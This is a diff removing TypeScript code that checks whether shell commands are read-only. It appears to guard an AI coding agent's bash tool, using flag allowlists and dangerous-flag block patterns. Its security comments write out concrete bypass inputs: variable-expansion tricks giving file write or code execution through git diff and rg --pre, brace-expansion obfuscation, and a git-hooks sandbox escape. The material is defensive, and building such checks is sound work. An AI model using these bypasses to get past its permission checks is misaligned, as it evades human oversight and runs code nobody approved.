-  // ss — socket statistics (iproute2). Read-only query tool equivalent to netstat.
-  // SECURITY: -K/--kill (forcibly close sockets) and -D/--diag (dump raw data to file)
-  // are deliberately excluded. -F/--filter (read filter from file) also excluded.
-  ss: {
-    safeFlags: {
-      '-h': 'none',
-      '--help': 'none',
-      '-V': 'none',
-      '--version': 'none',
-      '-n': 'none',
-      '--numeric': 'none',
-      '-r': 'none',
-      '--resolve': 'none',
-      '-a': 'none',
-      '--all': 'none',
-      '-l': 'none',
-      '--listening': 'none',
-      '-o': 'none',
-      '--options': 'none',
-      '-e': 'none',
-      '--extended': 'none',
-      '-m': 'none',
-      '--memory': 'none',
-      '-p': 'none',
-      '--processes': 'none',
-      '-i': 'none',
-      '--info': 'none',
-      '-s': 'none',
-      '--summary': 'none',
-      '-4': 'none',
-      '--ipv4': 'none',
-      '-6': 'none',
-      '--ipv6': 'none',
-      '-0': 'none',
-      '--packet': 'none',
-      '-t': 'none',
-      '--tcp': 'none',
-      '-M': 'none',
-      '--mptcp': 'none',
-      '-S': 'none',
-      '--sctp': 'none',
-      '-u': 'none',
-      '--udp': 'none',
-      '-d': 'none',
-      '--dccp': 'none',
-      '-w': 'none',
-      '--raw': 'none',
-      '-x': 'none',
-      '--unix': 'none',
-      '--tipc': 'none',
-      '--vsock': 'none',
-      '-f': 'string',
-      '--family': 'string',
-      '-A': 'string',
-      '--query': 'string',
-      '--socket': 'string',
-      '-Z': 'none',
-      '--context': 'none',
-      '-z': 'none',
-      '--contexts': 'none',
-      // SECURITY: -N/--net EXCLUDED — performs setns(), unshare(), mount(), umount()
-      // to switch network namespace. While isolated to forked process, too invasive.
-      '-b': 'none',
-      '--bpf': 'none',
-      '-E': 'none',
-      '--events': 'none',
-      '-H': 'none',
-      '--no-header': 'none',
-      '-O': 'none',
-      '--oneline': 'none',
-      '--tipcinfo': 'none',
-      '--tos': 'none',
-      '--cgroup': 'none',
-      '--inet-sockopt': 'none',
-      // SECURITY: -K/--kill EXCLUDED — forcibly closes sockets
-      // SECURITY: -D/--diag EXCLUDED — dumps raw TCP data to a file
-      // SECURITY: -F/--filter EXCLUDED — reads filter expressions from a file
-    },
-  },
-
-  // fd/fdfind — fast file finder (fd-find). Read-only search tool.
-  // SECURITY: -x/--exec (execute command per result) and -X/--exec-batch
-  // (execute command with all results) are deliberately excluded.
-  fd: { safeFlags: { ...FD_SAFE_FLAGS } },
-  // fdfind is the Debian/Ubuntu package name for fd — same binary, same flags
-  fdfind: { safeFlags: { ...FD_SAFE_FLAGS } },
-
-  ...PYRIGHT_READ_ONLY_COMMANDS,
-  ...DOCKER_READ_ONLY_COMMANDS,
-}
-
-// gh commands are ant-only since they make network requests, which goes against
-// the read-only validation principle of no network access
-const ANT_ONLY_COMMAND_ALLOWLIST: Record<string, CommandConfig> = {
-  // All gh read-only commands from shared validation map
-  ...GH_READ_ONLY_COMMANDS,
-  // aki — Anthropic internal knowledge-base search CLI.
-  // Network read-only (same policy as gh). --audit-csv omitted: writes to disk.
-  aki: {
-    safeFlags: {
-      '-h': 'none',
-      '--help': 'none',
-      '-k': 'none',
-      '--keyword': 'none',
-      '-s': 'none',
-      '--semantic': 'none',
-      '--no-adaptive': 'none',
-      '-n': 'number',
-      '--limit': 'number',
-      '-o': 'number',
-      '--offset': 'number',
-      '--source': 'string',
-      '--exclude-source': 'string',
-      '-a': 'string',
-      '--after': 'string',
-      '-b': 'string',
-      '--before': 'string',
-      '--collection': 'string',
-      '--drive': 'string',
-      '--folder': 'string',
-      '--descendants': 'none',
-      '-m': 'string',
-      '--meta': 'string',
-      '-t': 'string',
-      '--threshold': 'string',
-      '--kw-weight': 'string',
-      '--sem-weight': 'string',
-      '-j': 'none',
-      '--json': 'none',
-      '-c': 'none',
-      '--chunk': 'none',
-      '--preview': 'none',
-      '-d': 'none',
-      '--full-doc': 'none',
-      '-v': 'none',
-      '--verbose': 'none',
-      '--stats': 'none',
-      '-S': 'number',
-      '--summarize': 'number',
-      '--explain': 'none',
-      '--examine': 'string',
-      '--url': 'string',
-      '--multi-turn': 'number',
-      '--multi-turn-model': 'string',
-      '--multi-turn-context': 'string',
-      '--no-rerank': 'none',
-      '--audit': 'none',
-      '--local': 'none',
-      '--staging': 'none',
-    },
-  },
-}
-
-function getCommandAllowlist(): Record<string, CommandConfig> {
-  let allowlist: Record<string, CommandConfig> = COMMAND_ALLOWLIST
-  // On Windows, xargs can be used as a data-to-code bridge: if a file contains
-  // a UNC path, `cat file | xargs cat` feeds that path to cat, triggering SMB
-  // resolution. Since the UNC path is in file contents (not the command string),
-  // regex-based detection cannot catch this.
-  if (getPlatform() === 'windows') {
-    const { xargs: _, ...rest } = allowlist
-    allowlist = rest
-  }
-  if (process.env.USER_TYPE === 'ant') {
-    return { ...allowlist, ...ANT_ONLY_COMMAND_ALLOWLIST }
-  }
-  return allowlist
-}
-
-/**
- * Commands that are safe to use as xargs targets for auto-approval.
- *
- * SECURITY: Only add a command to this list if it has NO flags that can:
- * 1. Write to files (e.g., find's -fprint, sed's -i)
- * 2. Execute code (e.g., find's -exec, awk's system(), perl's -e)
- * 3. Make network requests
- *
- * These commands must be purely read-only utilities. When xargs uses one of
- * these as a target, we stop validating flags after the target command
- * (see the `break` in isCommandSafeViaFlagParsing), so the command itself
- * must not have ANY dangerous flags, not just a safe subset.
- *
- * Each command was verified by checking its man page for dangerous capabilities.
- */
-const SAFE_TARGET_COMMANDS_FOR_XARGS = [
-  'echo', // Output only, no dangerous flags
-  'printf', // xargs runs /usr/bin/printf (binary), not bash builtin — no -v support
-  'wc', // Read-only counting, no dangerous flags
-  'grep', // Read-only search, no dangerous flags
-  'head', // Read-only, no dangerous flags
-  'tail', // Read-only (including -f follow), no dangerous flags
-]
-
-/**
- * Unified command validation function that replaces individual validator functions.
- * Uses declarative configuration from COMMAND_ALLOWLIST to validate commands and their flags.
- * Handles combined flags, argument validation, and shell quoting bypass detection.
- */
-export function isCommandSafeViaFlagParsing(command: string): boolean {
-  // Parse the command to get individual tokens using shell-quote for accuracy
-  // Handle glob operators by converting them to strings, they don't matter from the perspective
-  // of this function
-  const parseResult = tryParseShellCommand(command, env => `$${env}`)
-  if (!parseResult.success) return false
-
-  const parsed = parseResult.tokens.map(token => {
-    if (typeof token !== 'string') {
-      token = token as { op: 'glob'; pattern: string }
-      if (token.op === 'glob') {
-        return token.pattern
-      }
-    }
-    return token
-  })
-
-  // If there are operators (pipes, redirects, etc.), it's not a simple command.
-  // Breaking commands down into their constituent parts is handled upstream of
-  // this function, so we reject anything with operators here.
-  const hasOperators = parsed.some(token => typeof token !== 'string')
-  if (hasOperators) {
-    return false
-  }
-
-  // Now we know all tokens are strings
-  const tokens = parsed as string[]
-
-  if (tokens.length === 0) {
-    return false
-  }
-
-  // Find matching command configuration
-  let commandConfig: CommandConfig | undefined
-  let commandTokens: number = 0
-
-  // Check for multi-word commands first (e.g., "git diff", "git stash list")
-  const allowlist = getCommandAllowlist()
-  for (const [cmdPattern] of Object.entries(allowlist)) {
-    const cmdTokens = cmdPattern.split(' ')
-    if (tokens.length >= cmdTokens.length) {
-      let matches = true
-      for (let i = 0; i < cmdTokens.length; i++) {
-        if (tokens[i] !== cmdTokens[i]) {
-          matches = false
-          break
-        }
-      }
-      if (matches) {
-        commandConfig = allowlist[cmdPattern]
-        commandTokens = cmdTokens.length
-        break
-      }
-    }
-  }
-
-  if (!commandConfig) {
-    return false // Command not in allowlist
-  }
-
-  // Special handling for git ls-remote to reject URLs that could lead to data exfiltration
-  if (tokens[0] === 'git' && tokens[1] === 'ls-remote') {
-    // Check if any argument looks like a URL or remote specification
-    for (let i = 2; i < tokens.length; i++) {
-      const token = tokens[i]
-      if (token && !token.startsWith('-')) {
-        // Reject HTTP/HTTPS URLs
-        if (token.includes('://')) {
-          return false
-        }
-        // Reject SSH URLs like git@github.com:user/repo.git
-        if (token.includes('@') || token.includes(':')) {
-          return false
-        }
-        // Reject variable references
-        if (token.includes('$')) {
-          return false
-        }
-      }
-    }
-  }
-
-  // SECURITY: Reject ANY token containing `$` (variable expansion). The
-  // `env => \`$${env}\`` callback at line 825 preserves `$VAR` as LITERAL TEXT
-  // in tokens, but bash expands it at runtime (unset vars → empty string).
-  // This parser differential defeats BOTH validateFlags and callbacks:
-  //
-  //   (1) `$VAR`-prefix defeats validateFlags `startsWith('-')` check:
-  //       `git diff "$Z--output=/tmp/pwned"` → token `$Z--output=/tmp/pwned`
-  //       (starts with `$`) falls through as positional at ~:1730. Bash runs
-  //       `git diff --output=/tmp/pwned`. ARBITRARY FILE WRITE, zero perms.
-  //
-  //   (2) `$VAR`-prefix → RCE via `rg --pre`:
-  //       `rg . "$Z--pre=bash" FILE` → executes `bash FILE`. rg's config has
-  //       no regex and no callback. SINGLE-STEP ARBITRARY CODE EXECUTION.
-  //
-  //   (3) `$VAR`-infix defeats additionalCommandIsDangerousCallback regex:
-  //       `ps ax"$Z"e` → token `ax$Ze`. The ps callback regex
-  //       `/^[a-zA-Z]*e[a-zA-Z]*$/` fails on `$` → "not dangerous". Bash runs
-  //       `ps axe` → env vars for all processes. A fix limited to `$`-PREFIXED
-  //       tokens would NOT close this.
-  //
-  // We check ALL tokens after the command prefix. Any `$` means we cannot
-  // determine the runtime token value, so we cannot verify read-only safety.
-  // This check must run BEFORE validateFlags and BEFORE callbacks.
-  for (let i = commandTokens; i < tokens.length; i++) {
-    const token = tokens[i]
-    if (!token) continue
-    // Reject any token containing $ (variable expansion)
-    if (token.includes('$')) {
-      return false
-    }
-    // Reject tokens with BOTH `{` and `,` (brace expansion obfuscation).
-    // `git diff {@'{'0},--output=/tmp/pwned}` → shell-quote strips quotes
-    // → token `{@{0},--output=/tmp/pwned}` has `{` + `,` → brace expansion.
-    // This is defense-in-depth with validateBraceExpansion in bashSecurity.ts.
-    // We require BOTH `{` and `,` to avoid false positives on legitimate
-    // patterns: `stash@{0}` (git ref, has `{` no `,`), `{{.State}}` (Go
-    // template, no `,`), `prefix-{}-suffix` (xargs, no `,`). Sequence form
-    // `{1..5}` also needs checking (has `{` + `..`).
-    if (token.includes('{') && (token.includes(',') || token.includes('..'))) {
-      return false
-    }
-  }
-
-  // Validate flags starting after the command tokens
-  if (
-    !validateFlags(tokens, commandTokens, commandConfig, {
-      commandName: tokens[0],
-      rawCommand: command,
-      xargsTargetCommands:
-        tokens[0] === 'xargs' ? SAFE_TARGET_COMMANDS_FOR_XARGS : undefined,
-    })
-  ) {
-    return false
-  }
-
-  if (commandConfig.regex && !commandConfig.regex.test(command)) {
-    return false
-  }
-  if (!commandConfig.regex && /`/.test(command)) {
-    return false
-  }
-  // Block newlines and carriage returns in grep/rg patterns as they can be used for injection
-  if (
-    !commandConfig.regex &&
-    (tokens[0] === 'rg' || tokens[0] === 'grep') &&
-    /[\n\r]/.test(command)
-  ) {
-    return false
-  }
-  if (
-    commandConfig.additionalCommandIsDangerousCallback &&
-    commandConfig.additionalCommandIsDangerousCallback(
-      command,
-      tokens.slice(commandTokens),
-    )
-  ) {
-    return false
-  }
-
-  return true
-}
-
-/**
- * Creates a regex pattern that matches safe invocations of a command.
- *
- * The regex ensures commands are invoked safely by blocking:
- * - Shell metacharacters that could lead to command injection or redirection
- * - Command substitution via backticks or $()
- * - Variable expansion that could contain malicious payloads
- * - Environment variable assignment bypasses (command=value)
- *
- * @param command The command name (e.g., 'date', 'npm list', 'ip addr')
- * @returns RegExp that matches safe invocations of the command
- */
-function makeRegexForSafeCommand(command: string): RegExp {
-  // Create regex pattern: /^command(?:\s|$)[^<>()$`|{}&;\n\r]*$/
-  return new RegExp(`^${command}(?:\\s|$)[^<>()$\`|{}&;\\n\\r]*$`)
-}
-
-// Simple commands that are safe for execution (converted to regex patterns using makeRegexForSafeCommand)
-// WARNING: If you are adding new commands here, be very careful to ensure
-// they are truly safe. This includes ensuring:
-// 1. That they don't have any flags that allow file writing or command execution
-// 2. Use makeRegexForSafeCommand() to ensure proper regex pattern creation
-const READONLY_COMMANDS = [
-  // Cross-platform commands from shared validation
-  ...EXTERNAL_READONLY_COMMANDS,
-
-  // Unix/bash-specific read-only commands (not shared because they don't exist in PowerShell)
-
-  // Time and date
-  'cal',
-  'uptime',
-
-  // File content viewing (relative paths handled separately)
-  'cat',
-  'head',
-  'tail',
-  'wc',
-  'stat',
-  'strings',
-  'hexdump',
-  'od',
-  'nl',
-
-  // System info
-  'id',
-  'uname',
-  'free',
-  'df',
-  'du',
-  'locale',
-  'groups',
-  'nproc',
-
-  // Path information
-  'basename',
-  'dirname',
-  'realpath',
-
-  // Text processing
-  'cut',
-  'paste',
-  'tr',
-  'column',
-  'tac', // Reverse cat — displays file contents in reverse line order
-  'rev', // Reverse characters in each line
-  'fold', // Wrap lines to specified width
-  'expand', // Convert tabs to spaces
-  'unexpand', // Convert spaces to tabs
-  'fmt', // Simple text formatter — output to stdout only
-  'comm', // Compare sorted files line by line
-  'cmp', // Byte-by-byte file comparison
-  'numfmt', // Number format conversion
-
-  // Path information (additional)
-  'readlink', // Resolve symlinks — displays target of symbolic link
-
-  // File comparison
-  'diff',
-
-  // true and false, used to silence or create errors
-  'true',
-  'false',
-
-  // Misc. safe commands
-  'sleep',
-  'which',
-  'type',
-  'expr', // Evaluate expressions (arithmetic, string matching)
-  'test', // Conditional evaluation (file checks, comparisons)
-  'getconf', // Get system configuration values
-  'seq', // Generate number sequences
-  'tsort', // Topological sort
-  'pr', // Paginate files for printing
-]
-
-// Complex commands that require custom regex patterns
-// Warning: If possible, avoid adding new regexes here and prefer using COMMAND_ALLOWLIST
-// instead. This allowlist-based approach to CLI flags is more secure and avoids
-// vulns coming from gnu getopt_long.
-const READONLY_COMMAND_REGEXES = new Set([
-  // Convert simple commands to regex patterns using makeRegexForSafeCommand
-  ...READONLY_COMMANDS.map(makeRegexForSafeCommand),
-
-  // Echo that doesn't execute commands or use variables
-  // Allow newlines in single quotes (safe) but not in double quotes (could be dangerous with variable expansion)
-  // Also allow optional 2>&1 stderr redirection at the end
-  /^echo(?:\s+(?:'[^']*'|"[^"$<>\n\r]*"|[^|;&`$(){}><#\\!"'\s]+))*(?:\s+2>&1)?\s*$/,
-
-  // Claude CLI help
-  /^claude -h$/,
-  /^claude --help$/,
-
-  // Git readonly commands are now handled via COMMAND_ALLOWLIST with explicit flag validation
-  // (git status, git blame, git ls-files, git config --get, git remote, git tag, git branch)
-
-  /^uniq(?:\s+(?:-[a-zA-Z]+|--[a-zA-Z-]+(?:=\S+)?|-[fsw]\s+\d+))*(?:\s|$)\s*$/, // Only allow flags, no input/output files
-
-  // System info
-  /^pwd$/,
-  /^whoami$/,
-  // env and printenv removed - could expose sensitive environment variables
-
-  // Development tools version checking - exact match only, no suffix allowed.
-  // SECURITY: `node -v --run <task>` would execute package.json scripts because
-  // Node processes --run before -v. Python/python3 --version are also anchored
-  // for defense-in-depth. These were previously in EXTERNAL_READONLY_COMMANDS which
-  // flows through makeRegexForSafeCommand and permits arbitrary suffixes.
-  /^node -v$/,
-  /^node --version$/,
-  /^python --version$/,
-  /^python3 --version$/,
-
-  // Misc. safe commands
-  // tree command moved to COMMAND_ALLOWLIST for proper flag validation (blocks -o/--output)
-  /^history(?:\s+\d+)?\s*$/, // Only allow bare history or history with numeric argument - prevents file writing
-  /^alias$/,
-  /^arch(?:\s+(?:--help|-h))?\s*$/, // Only allow arch with help flags or no arguments
-
-  // Network commands - only allow exact commands with no arguments to prevent network manipulation
-  /^ip addr$/, // Only allow "ip addr" with no additional arguments
-  /^ifconfig(?:\s+[a-zA-Z][a-zA-Z0-9_-]*)?\s*$/, // Allow ifconfig with interface name only (must start with letter)
-
-  // JSON processing with jq - allow with inline filters and file arguments
-  // File arguments are validated separately by pathValidation.ts
-  // Allow pipes and complex expressions within quotes but prevent dangerous flags
-  // Block command substitution - backticks are dangerous even in single quotes for jq
-  // Block -f/--from-file, --rawfile, --slurpfile (read files into jq), --run-tests, -L/--library-path (load executable modules)
-  // Block 'env' builtin and '$ENV' object which can access environment variables (defense in depth)
-  /^jq(?!\s+.*(?:-f\b|--from-file|--rawfile|--slurpfile|--run-tests|-L\b|--library-path|\benv\b|\$ENV\b))(?:\s+(?:-[a-zA-Z]+|--[a-zA-Z-]+(?:=\S+)?))*(?:\s+'[^'`]*'|\s+"[^"`]*"|\s+[^-\s'"][^\s]*)+\s*$/,
-
-  // Path commands (path validation ensures they're allowed)
-  // cd command - allows changing to directories
-  /^cd(?:\s+(?:'[^']*'|"[^"]*"|[^\s;|&`$(){}><#\\]+))?$/,
-  // ls command - allows listing directories
-  /^ls(?:\s+[^<>()$`|{}&;\n\r]*)?$/,
-  // find command - blocks dangerous flags
-  // Allow escaped parentheses \( and \) for grouping, but block unescaped ones
-  // NOTE: \\[()] must come BEFORE the character class to ensure \( is matched as an escaped paren,
-  // not as backslash + paren (which would fail since paren is excluded from the character class)
-  /^find(?:\s+(?:\\[()]|(?!-delete\b|-exec\b|-execdir\b|-ok\b|-okdir\b|-fprint0?\b|-fls\b|-fprintf\b)[^<>()$`|{}&;\n\r\s]|\s)+)?$/,
-])
-
-/**
- * Checks if a command contains glob characters (?, *, [, ]) or expandable `$`
- * variables OUTSIDE the quote contexts where bash would treat them as literal.
- * These could expand to bypass our regex-based security checks.
- *
- * Glob examples:
- * - `python *` could expand to `python --help` if a file named `--help` exists
- * - `find ./ -?xec` could expand to `find ./ -exec` if such a file exists
- * Globs are literal inside BOTH single and double quotes.
- *
- * Variable expansion examples:
- * - `uniq --skip-chars=0$_` → `$_` expands to last arg of previous command;
- *   with IFS word splitting, this smuggles positional args past "flags-only"
- *   regexes. `echo " /etc/passwd /tmp/x"; uniq --skip-chars=0$_` → FILE WRITE.
- * - `cd "$HOME"` → double-quoted `$HOME` expands at runtime.
- * Variables are literal ONLY inside single quotes; they expand inside double
- * quotes and unquoted.
- *
- * The `$` check guards the READONLY_COMMAND_REGEXES fallback path. The `$`
- * token check in isCommandSafeViaFlagParsing only covers COMMAND_ALLOWLIST
- * commands; hand-written regexes like uniq's `\S+` and cd's `"[^"]*"` allow `$`.
- * Matches `$` followed by `[A-Za-z_@*#?!$0-9-]` covering `$VAR`, `$_`, `$@`,
- * `$*`, `$#`, `$?`, `$!`, `$$`, `$-`, `$0`-`$9`. Does NOT match `${` or `$(` —
- * those are caught by COMMAND_SUBSTITUTION_PATTERNS in bashSecurity.ts.
- *
- * @param command The command string to check
- * @returns true if the command contains unquoted glob or expandable `$`
- */
-function containsUnquotedExpansion(command: string): boolean {
-  // Track quote state to avoid false positives for patterns inside quoted strings
-  let inSingleQuote = false
-  let inDoubleQuote = false
-  let escaped = false
-
-  for (let i = 0; i < command.length; i++) {
-    const currentChar = command[i]
-
-    // Handle escape sequences
-    if (escaped) {
-      escaped = false
-      continue
-    }
-
-    // SECURITY: Only treat backslash as escape OUTSIDE single quotes. In bash,
-    // `\` inside `'...'` is LITERAL — it does not escape the next character.
-    // Without this guard, `'\'` desyncs the quote tracker: the `\` sets
-    // escaped=true, then the closing `'` is consumed by the escaped-skip
-    // instead of toggling inSingleQuote. Parser stays in single-quote
-    // mode for the rest of the command, missing ALL subsequent expansions.
-    // Example: `ls '\' *` — bash sees glob `*`, but desynced parser thinks
-    // `*` is inside quotes → returns false (glob NOT detected).
-    // Defense-in-depth: hasShellQuoteSingleQuoteBug catches `'\'` patterns
-    // before this function is reached, but we fix the tracker anyway for
-    // consistency with the correct implementations in bashSecurity.ts.
-    if (currentChar === '\\' && !inSingleQuote) {
-      escaped = true
-      continue
-    }
-
-    // Update quote state
-    if (currentChar === "'" && !inDoubleQuote) {
-      inSingleQuote = !inSingleQuote
-      continue
-    }
-
-    if (currentChar === '"' && !inSingleQuote) {
-      inDoubleQuote = !inDoubleQuote
-      continue
-    }
-
-    // Inside single quotes: everything is literal. Skip.
-    if (inSingleQuote) {
-      continue
-    }
-
-    // Check `$` followed by variable-name or special-parameter character.
-    // `$` expands inside double quotes AND unquoted (only SQ makes it literal).
-    if (currentChar === '$') {
-      const next = command[i + 1]
-      if (next && /[A-Za-z_@*#?!$0-9-]/.test(next)) {
-        return true
-      }
-    }
-
-    // Globs are literal inside double quotes too. Only check unquoted.
-    if (inDoubleQuote) {
-      continue
-    }
-
-    // Check for glob characters outside all quotes.
-    // These could expand to anything, including dangerous flags.
-    if (currentChar && /[?*[\]]/.test(currentChar)) {
-      return true
-    }
-  }
-
-  return false
-}
-
-/**
- * Checks if a single command string is read-only based on READONLY_COMMAND_REGEXES.
- * Internal helper function that validates individual commands.
- *
- * @param command The command string to check
- * @returns true if the command is read-only
- */
-function isCommandReadOnly(command: string): boolean {
-  // Handle common stderr-to-stdout redirection pattern
-  // This handles both "command 2>&1" at the end of a full command
-  // and "command 2>&1" as part of a pipeline component
-  let testCommand = command.trim()
-  if (testCommand.endsWith(' 2>&1')) {
-    // Remove the stderr redirection for pattern matching
-    testCommand = testCommand.slice(0, -5).trim()
-  }
-
-  // Check for Windows UNC paths that could be vulnerable to WebDAV attacks
-  // Do this early to prevent any command with UNC paths from being marked as read-only
-  if (containsVulnerableUncPath(testCommand)) {
-    return false
-  }
-
-  // Check for unquoted glob characters and expandable `$` variables that could
-  // bypass our regex-based security checks. We can't know what these expand to
-  // at runtime, so we can't verify the command is read-only.
-  //
-  // Globs: `python *` could expand to `python --help` if such a file exists.
-  //
-  // Variables: `uniq --skip-chars=0$_` — bash expands `$_` at runtime to the
-  // last arg of the previous command. With IFS word splitting, this smuggles
-  // positional args past "flags-only" regexes like uniq's `\S+`. The `$` token
-  // check inside isCommandSafeViaFlagParsing only covers COMMAND_ALLOWLIST
-  // commands; hand-written regexes in READONLY_COMMAND_REGEXES (uniq, jq, cd)
-  // have no such guard. See containsUnquotedExpansion for full analysis.
-  if (containsUnquotedExpansion(testCommand)) {
-    return false
-  }
-
-  // Tools like git allow `--upload-pack=cmd` to be abbreviated as `--up=cmd`
-  // Regex filters can be bypassed, so we use strict allowlist validation instead.
-  // This requires defining a set of known safe flags. Claude can help with this,
-  // but please look over it to ensure it didn't add any flags that allow file writes
-  // code execution, or network requests.
-  if (isCommandSafeViaFlagParsing(testCommand)) {
-    return true
-  }
-
-  for (const regex of READONLY_COMMAND_REGEXES) {
-    if (regex.test(testCommand)) {
-      // Prevent git commands with -c flag to avoid config options that can lead to code execution
-      // The -c flag allows setting arbitrary git config values inline, including dangerous ones like
-      // core.fsmonitor, diff.external, core.gitProxy, etc. that can execute arbitrary commands
-      // Check for -c preceded by whitespace and followed by whitespace or equals
-      // Using regex to catch spaces, tabs, and other whitespace (not part of other flags like --cached)
-      if (testCommand.includes('git') && /\s-c[\s=]/.test(testCommand)) {
-        return false
-      }
-
-      // Prevent git commands with --exec-path flag to avoid path manipulation that can lead to code execution
-      // The --exec-path flag allows overriding the directory where git looks for executables
-      if (
-        testCommand.includes('git') &&
-        /\s--exec-path[\s=]/.test(testCommand)
-      ) {
-        return false
-      }
-
-      // Prevent git commands with --config-env flag to avoid config injection via environment variables
-      // The --config-env flag allows setting git config values from environment variables, which can be
-      // just as dangerous as -c flag (e.g., core.fsmonitor, diff.external, core.gitProxy)
-      if (
-        testCommand.includes('git') &&
-        /\s--config-env[\s=]/.test(testCommand)
-      ) {
-        return false
-      }
-      return true
-    }
-  }
-  return false
-}
-
-/**
- * Checks if a compound command contains any git command.
- *
- * @param command The full command string to check
- * @returns true if any subcommand is a git command
- */
-function commandHasAnyGit(command: string): boolean {
-  return splitCommand_DEPRECATED(command).some(subcmd =>
-    isNormalizedGitCommand(subcmd.trim()),
-  )
-}
-
-/**
- * Git-internal path patterns that can be exploited for sandbox escape.
- * If a command creates these files and then runs git, the git command
- * could execute malicious hooks from the created files.
- */
-const GIT_INTERNAL_PATTERNS = [
-  /^HEAD$/,
-  /^objects(?:\/|$)/,
-  /^refs(?:\/|$)/,
-  /^hooks(?:\/|$)/,
-]
-
-/**
- * Checks if a path is a git-internal path (HEAD, objects/, refs/, hooks/).
- */
-function isGitInternalPath(path: string): boolean {
-  // Normalize path by removing leading ./ or /
-  const normalized = path.replace(/^\.?\//, '')
-  return GIT_INTERNAL_PATTERNS.some(pattern => pattern.test(normalized))
-}
-
-// Commands that only delete or modify in-place (don't create new files at new paths)
-const NON_CREATING_WRITE_COMMANDS = new Set(['rm', 'rmdir', 'sed'])
-
-/**
- * Extracts write paths from a subcommand using PATH_EXTRACTORS.
- * Only returns paths for commands that can create new files/directories
- * (write/create operations excluding deletion and in-place modification).
- */
-function extractWritePathsFromSubcommand(subcommand: string): string[] {
-  const parseResult = tryParseShellCommand(subcommand, env => `$${env}`)
-  if (!parseResult.success) return []
-
-  const tokens = parseResult.tokens.filter(
-    (t): t is string => typeof t === 'string',
-  )
-  if (tokens.length === 0) return []
-
-  const baseCmd = tokens[0]
-  if (!baseCmd) return []
-
-  // Only consider commands that can create files at target paths
-  if (!(baseCmd in COMMAND_OPERATION_TYPE)) {
-    return []
-  }
-  const opType = COMMAND_OPERATION_TYPE[baseCmd as PathCommand]
-  if (
-    (opType !== 'write' && opType !== 'create') ||
-    NON_CREATING_WRITE_COMMANDS.has(baseCmd)
-  ) {
-    return []
-  }
-
-  const extractor = PATH_EXTRACTORS[baseCmd as PathCommand]
-  if (!extractor) return []
-
-  return extractor(tokens.slice(1))
-}
-
-/**
- * Checks if a compound command writes to any git-internal paths.
- * This is used to detect potential sandbox escape attacks where a command
- * creates git-internal files (HEAD, objects/, refs/, hooks/) and then runs git.
- *
- * SECURITY: A compound command could bypass the bare repo detection by:
- * 1. Creating bare git repo files (HEAD, objects/, refs/, hooks/) in the same command
- * 2. Then running git, which would execute malicious hooks
- *
- * Example attack:
- * mkdir -p objects refs hooks && echo '#!/bin/bash\nmalicious' > hooks/pre-commit && touch HEAD && git status
- *
- * @param command The full command string to check
- * @returns true if any subcommand writes to git-internal paths
- */
-function commandWritesToGitInternalPaths(command: string): boolean {
-  const subcommands = splitCommand_DEPRECATED(command)
-
-  for (const subcmd of subcommands) {
-    const trimmed = subcmd.trim()
-
-    // Check write paths from path-based commands (mkdir, touch, cp, mv)
-    const writePaths = extractWritePathsFromSubcommand(trimmed)
-    for (const path of writePaths) {
-      if (isGitInternalPath(path)) {
-        return true
-      }
-    }
-
-    // Check output redirections (e.g., echo x > hooks/pre-commit)
-    const { redirections } = extractOutputRedirections(trimmed)
-    for (const { target } of redirections) {
-      if (isGitInternalPath(target)) {
-        return true
-      }
-    }
-  }
-
-  return false
-}
-
-/**
- * Checks read-only constraints for bash commands.
- * This is the single exported function that validates whether a command is read-only.
- * It handles compound commands, sandbox mode, and safety checks.
- *
- * @param input The bash command input to validate
- * @param compoundCommandHasCd Pre-computed flag indicating if any cd command exists in the compound command.
- *                              This is computed by commandHasAnyCd() and passed in to avoid duplicate computation.
- * @returns PermissionResult indicating whether the command is read-only
- */
-export function checkReadOnlyConstraints(
-  input: z.infer<typeof BashTool.inputSchema>,
-  compoundCommandHasCd: boolean,
-): PermissionResult {
-  const { command } = input
-
-  // Detect if the command is not parseable and return early
-  const result = tryParseShellCommand(command, env => `$${env}`)
-  if (!result.success) {
-    return {
-      behavior: 'passthrough',
-      message: 'Command cannot be parsed, requires further permission checks',
-    }
-  }
-
-  // Check the original command for safety before splitting
-  // This is important because splitCommand_DEPRECATED may transform the command
-  // (e.g., ${VAR} becomes $VAR)
-  if (bashCommandIsSafe_DEPRECATED(command).behavior !== 'passthrough') {
-    return {
-      behavior: 'passthrough',
-      message: 'Command is not read-only, requires further permission checks',
-    }
-  }
-
-  // Check for Windows UNC paths in the original command before transformation
-  // This must be done before splitCommand_DEPRECATED because splitCommand_DEPRECATED may transform backslashes
-  if (containsVulnerableUncPath(command)) {
-    return {
-      behavior: 'ask',
-      message:
-        'Command contains Windows UNC path that could be vulnerable to WebDAV attacks',
-    }
-  }
-
-  // Check once if any subcommand is a git command (used for multiple security checks below)
-  const hasGitCommand = commandHasAnyGit(command)
-
-  // SECURITY: Block compound commands that have both cd AND git
-  // This prevents sandbox escape via: cd /malicious/dir && git status
-  // where the malicious directory contains fake git hooks that execute arbitrary code.
-  if (compoundCommandHasCd && hasGitCommand) {
-    return {
-      behavior: 'passthrough',
-      message:
-        'Compound commands with cd and git require permission checks for enhanced security',
-    }
-  }
-
-  // SECURITY: Block git commands if the current directory looks like a bare/exploited git repo
-  // This prevents sandbox escape when an attacker has:
-  // 1. Deleted .git/HEAD to invalidate the normal git directory
-  // 2. Created hooks/pre-commit or other git-internal files in the current directory
-  // Git would then treat the cwd as the git directory and execute malicious hooks.
-  if (hasGitCommand && isCurrentDirectoryBareGitRepo()) {
-    return {
-      behavior: 'passthrough',
-      message:
-        'Git commands in directories with bare repository structure require permission checks for enhanced security',
-    }
-  }
-
-  // SECURITY: Block compound commands that write to git-internal paths AND run git
-  // This prevents sandbox escape where a command creates git-internal files
-  // (HEAD, objects/, refs/, hooks/) and then runs git, which would execute
-  // malicious hooks from the newly created files.
-  // Example attack: mkdir -p hooks && echo 'malicious' > hooks/pre-commit && git status
-  if (hasGitCommand && commandWritesToGitInternalPaths(command)) {
-    return {
-      behavior: 'passthrough',
-      message:
-        'Compound commands that create git internal files and run git require permission checks for enhanced security',
-    }
-  }
-
-  // SECURITY: Only auto-allow git commands as read-only if we're in the original cwd
-  // (which is protected by sandbox denyWrite) or if sandbox is disabled (attack is moot).
-  // Race condition: a sandboxed command can create bare repo files in a subdirectory,
-  // and a backgrounded git command (e.g. sleep 10 && git status) would pass the
-  // isCurrentDirectoryBareGitRepo() check at evaluation time before the files exist.
-  if (
-    hasGitCommand &&
-    SandboxManager.isSandboxingEnabled() &&
-    getCwd() !== getOriginalCwd()
-  ) {
-    return {
-      behavior: 'passthrough',
-      message:
